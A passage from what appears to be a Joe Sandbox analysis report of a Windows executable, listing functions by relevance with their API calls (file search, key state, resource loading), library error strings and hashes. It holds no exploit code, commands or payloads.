Instruction Fuzzy Hash: 83F044709193116AD740EF398C42B6F7AE4AF84704F408C6EF488E7256F679D504479E

Function 004300A0 Relevance: 6.1, APIs: 4, Instructions: 94fileCOMMON

Download Yara Rule

APIs

FindNextFileA.KERNEL32(?,?), ref: 004300F2
FindClose.KERNEL32 ref: 00430101
FindFirstFileA.KERNEL32(?,?), ref: 0043010D
FindClose.KERNEL32(00000000), ref: 0043016B

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 9a114dd1c425cf53ba29458ba54c89665248fa8d2b76913a7e498d6423088f48
Instruction ID: a17ff153270fa918b5ec977bbf1b05ed3522fd613b8d40e2b7661c18de6454e7
Opcode Fuzzy Hash: 9a114dd1c425cf53ba29458ba54c89665248fa8d2b76913a7e498d6423088f48
Instruction Fuzzy Hash: 0021FB329047159BDB358E24DC647BB7364AB8D724F15172AED2597380E77FDC02838A

Function 004AD588 Relevance: 6.0, APIs: 4, Instructions: 38keyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 004AE1EB: GetWindowLongA.USER32(?,000000F0), ref: 004AE1F7

GetKeyState.USER32(00000010), ref: 004AD5AC
GetKeyState.USER32(00000011), ref: 004AD5B5
GetKeyState.USER32(00000012), ref: 004AD5BE
SendMessageA.USER32(?,00000111,0000E146,00000000), ref: 004AD5D4

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: 88bf8f394f8b1882d298c7236913e66289ec6400dd8810de3ac1da1854d18df6
Instruction ID: b680998d2687c199fa61a7bcb0b47382d53ed3dc2ff577aeb15adc446d77cbb1
Opcode Fuzzy Hash: 88bf8f394f8b1882d298c7236913e66289ec6400dd8810de3ac1da1854d18df6
Instruction Fuzzy Hash: B9F02772F4039A36EA2032AA1C42FAA11144F62BDCF00053FF783BB5D58E98CC025278

Function 00494F90 Relevance: 5.5, Strings: 4, Instructions: 500COMMON

Download Yara Rule

Strings

VUUU, xrefs: 0049511F
VUUU, xrefs: 00495051
gfff, xrefs: 00494FCC
gfff, xrefs: 00495013

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: VUUU$VUUU$gfff$gfff
API String ID: 0-376493243
Opcode ID: be2b2d2eb59751bac0dafae55e15746fb8ff93ef46000b6271c371f1aae84747
Instruction ID: cf9846f5a4bbe54c2702e1b2c13188f1c73ee98ba1ca66f5a04d349358ed3a30
Opcode Fuzzy Hash: be2b2d2eb59751bac0dafae55e15746fb8ff93ef46000b6271c371f1aae84747
Instruction Fuzzy Hash: 03029C71A097018FCB58CF19D58062BBBE2AFD8314F69483EF949D7351E678ED018B86

Function 00466680 Relevance: 5.5, Strings: 4, Instructions: 485COMMON

Download Yara Rule

Strings

invalid user transform pixel depth, xrefs: 004668F9
internal row size calculation error, xrefs: 004666FB
internal row logic error, xrefs: 004666C5
internal row width error, xrefs: 0046670D

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: internal row logic error$internal row size calculation error$internal row width error$invalid user transform pixel depth
API String ID: 0-64619857
Opcode ID: 8137d8e322d73b6a8d3c78a14c6b8c48a3aed7b7e39e37f3ba216dc7cabf9cc4
Instruction ID: 9cd702727c95e3335fca9ef0d09248674125d370a38fd559187679739d07c337
Opcode Fuzzy Hash: 8137d8e322d73b6a8d3c78a14c6b8c48a3aed7b7e39e37f3ba216dc7cabf9cc4
Instruction Fuzzy Hash: 59F114316093658FCB24DE38D9A02BFBBD1ABD6700F4A456EE885D7301F6299C09C797

Function 004AC5AE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 004B47C8: RtlLeaveCriticalSection.NTDLL(?), ref: 004B47E0

Part of subcall function 0049C10C: RaiseException.KERNEL32(004B3AEF,00CF992C,004208C0,?,00000000,00000000,004B3AEF,00CF992C,00000000,?,004208C0), ref: 0049C13A

wsprintfA.USER32 ref: 004AC5F4
wsprintfA.USER32 ref: 004AC610
GetClassInfoA.USER32(?,-00000058,?), ref: 004AC61F

Strings

Afx:%x:%x, xrefs: 004AC5EE

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: wsprintf$ClassCriticalExceptionInfoLeaveRaiseSection
String ID: Afx:%x:%x
API String ID: 2529146597-2071556601
Opcode ID: 34d5a8254002a8d4c41fa27fc8111bcb34b07cf2c152ec552ff55321263272a8
Instruction ID: e6ba2bfef131be438ad70b96da9e42943a6ad2e1ccdc6c67fcc952cfb5d66824
Opcode Fuzzy Hash: 34d5a8254002a8d4c41fa27fc8111bcb34b07cf2c152ec552ff55321263272a8
Instruction Fuzzy Hash: 32112E71D01219AF8B54EFA9D8C19DF7BF8EF59759B00412BF904E3201E7389A40CBA9

Function 0045C832 Relevance: 5.2, Strings: 4, Instructions: 245COMMON

Download Yara Rule

Strings

color map overflow (BAD internal error), xrefs: 0045CAB9
bad data option (internal error), xrefs: 0045CA68
bad background index (internal error), xrefs: 0045CB5F
palette color-map: too few entries, xrefs: 0045C8B0

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: bad background index (internal error)$bad data option (internal error)$color map overflow (BAD internal error)$palette color-map: too few entries
API String ID: 0-3263629853
Opcode ID: cbfe46b41fb2c669c255b91e5803ca530abe51a3e113b0f64b3f1795c9ae8ee6
Instruction ID: 4f8b0cf6e950cbc81e9bb31c25d014ee34a29bdaa55861fe9327280c57581c56
Opcode Fuzzy Hash: cbfe46b41fb2c669c255b91e5803ca530abe51a3e113b0f64b3f1795c9ae8ee6
Instruction Fuzzy Hash: 1981C1B16083409FD708CF18C8C1A6FBBE5AFC9345F54492EF88987352D679EC49879A

Function 004A523C Relevance: 4.7, APIs: 3, Instructions: 207timeCOMMON

Download Yara Rule

APIs

Part of subcall function 004A0834: RtlInitializeCriticalSection.NTDLL(00000000), ref: 004A0871
Part of subcall function 004A0834: RtlEnterCriticalSection.NTDLL(?), ref: 004A088C

Part of subcall function 004A0895: RtlLeaveCriticalSection.NTDLL ref: 004A08A2

GetTimeZoneInformation.KERNEL32(0000000C,?,?,?,0000000B,0000000B,?,004A522D,004A4EFE,?,?,?,?,0049C01E,?,?), ref: 004A528A
WideCharToMultiByte.KERNEL32(00000220,00CF9F34,000000FF,0000003F,00000000,?,?,004A522D,004A4EFE,?,?,?,?,0049C01E,?,?), ref: 004A5320
WideCharToMultiByte.KERNEL32(00000220,00CF9F88,000000FF,0000003F,00000000,?,?,004A522D,004A4EFE,?,?,?,?,0049C01E,?,?), ref: 004A5359

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: CriticalSection$ByteCharMultiWide$EnterInformationInitializeLeaveTimeZone
String ID:
API String ID: 3442286286-0
Opcode ID: 77cc8fefba706c3975700c21734dfe78176e564c9212b292356c513cc97e094b
Instruction ID: 5949b86bc8985f33964c2edf1576a8252fc08c389b182d4e2a3bc7b24d5f5bbb
Opcode Fuzzy Hash: 77cc8fefba706c3975700c21734dfe78176e564c9212b292356c513cc97e094b
Instruction Fuzzy Hash: 186102719046449FDB249FA9ED42F6E3FE8EB66350F18012FE480D62A1D7784C82CB4E

Function 00438760 Relevance: 4.5, APIs: 3, Instructions: 49keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000011), ref: 00438791
GetKeyState.USER32(00000010), ref: 004387A6
GetKeyState.USER32(00000012), ref: 004387BB

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: 729dfa2b797bca84e2918a7ee30779e3b42cf42bb52efbbd853f1df45efa4de3
Instruction ID: 99ab6e89582cf0987c111ce0ada760310064a97bf2cea25baa241e60f8a22d01
Opcode Fuzzy Hash: 729dfa2b797bca84e2918a7ee30779e3b42cf42bb52efbbd853f1df45efa4de3
Instruction Fuzzy Hash: BA018F1ED0436906EE2412659D09BB2C5530758F50F79607BF908372808F9C0C86239A

Function 00498A70 Relevance: 4.5, APIs: 3, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cf31c4371009f3e72d0b2948081dc192ceda9c285fb68f241ed44a85f362274
Instruction ID: beb38cf730d0c898ab8d6412aaa2bf635d43f568436f168e70e63d6054f936b7
Opcode Fuzzy Hash: 9cf31c4371009f3e72d0b2948081dc192ceda9c285fb68f241ed44a85f362274
Instruction Fuzzy Hash: 2AF01931104149ABCF059FB9CC08ABE3FA8EB02344B04803BFA16D5120DF79DA16DB59

Function 004ADA3E Relevance: 4.5, APIs: 3, Instructions: 32COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(?,0043BFE3,000000F0), ref: 004ADA5D
LoadResource.KERNEL32(?,00000000,?,?,?,004AB2F9,?,?,0043BFE3), ref: 004ADA69
LockResource.KERNEL32(00000000,?,?,?,004AB2F9,?,?,0043BFE3), ref: 004ADA78

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: Resource$FindLoadLock
String ID:
API String ID: 2752051264-0
Opcode ID: f804ebf33199304c8529633a87a41748107feffce191c5baf1933ccee0ba1e6b
Instruction ID: 29445e02139b0631f37dd1491b0d439b9a5e0806e31b4041060f6ab56efaf21b
Opcode Fuzzy Hash: f804ebf33199304c8529633a87a41748107feffce191c5baf1933ccee0ba1e6b
Instruction Fuzzy Hash: F9E09B75B482017B87155B665C48C6FB65DEFE2362714097BF603D2911CB384C01977D

Function 004AF0AA Relevance: 4.5, APIs: 3, Instructions: 29keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000010), ref: 004AF0D1
GetKeyState.USER32(00000011), ref: 004AF0DA
GetKeyState.USER32(00000012), ref: 004AF0E3

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID: State
String ID:
API String ID: 1649606143-0
Opcode ID: 93ed56381489cb591ab966cdf4c3c97361695c2509092de0b4bac7ffc024279f
Instruction ID: a1ab2050f1b022a29360b80abca554aa2a93eca94c4561e32630e568506251b0
Opcode Fuzzy Hash: 93ed56381489cb591ab966cdf4c3c97361695c2509092de0b4bac7ffc024279f
Instruction Fuzzy Hash: F4E092355082599EEE10A2E4C900FD57A905B32792F00C477EB84AB097CAA8888B9769

Function 00459D30 Relevance: 4.0, Strings: 3, Instructions: 200COMMON

Download Yara Rule

Strings

copyright violation: edited ICC profile ignored, xrefs: 00459EC7
known incorrect sRGB profile, xrefs: 00459F0E
out-of-date sRGB profile with no signature, xrefs: 00459F26

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID: copyright violation: edited ICC profile ignored$known incorrect sRGB profile$out-of-date sRGB profile with no signature
API String ID: 0-1307623137
Opcode ID: 8bcd6619e4ce82d3874bf5bd1e8847c727d7f4acadddc7d69cf726dbad089b43
Instruction ID: 9d0735eb107a8c2b1a34a6481c4d4b6597f1afc09586cf5099ecf63989c46f7b
Opcode Fuzzy Hash: 8bcd6619e4ce82d3874bf5bd1e8847c727d7f4acadddc7d69cf726dbad089b43
Instruction Fuzzy Hash: C95134B2B087914BDB28CE398C5176BBBE25BC9305F09886DE8DAC7342F564D809C764

Function 00586C50 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CD7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CF9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000CFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350915113.0000000000D07000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3350988699.0000000000D08000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_exe3.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea2ecb723c19ccdbf8b574fe0014307caa1c3772aa5d3acb02bbd55f88ddb64f
Instruction ID: 98e3b6d25f67deda4cf1c81541beac6f68f81b4c2cf5c3f0ad27590691f2d34b
Opcode Fuzzy Hash: ea2ecb723c19ccdbf8b574fe0014307caa1c3772aa5d3acb02bbd55f88ddb64f
Instruction Fuzzy Hash: F9022B71E002199BDF14DFA9D8846AEFBF1FF88314F258269D919F7384D731AA418B80

Function 004AC824 Relevance: 3.4, APIs: 2, Instructions: 422COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004AC829
GetVersion.KERNEL32(00000007,?,?,00000000,00000000,?,0000C000,00000000,00000000,00000007), ref: 004AC9DC

Memory Dump Source

Source File: 00000000.00000002.3349523211.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3349471262.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.00000000005C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3349523211.0000000000BE7000.00000040.00000001.01000000.00000003.sdmpDownload File
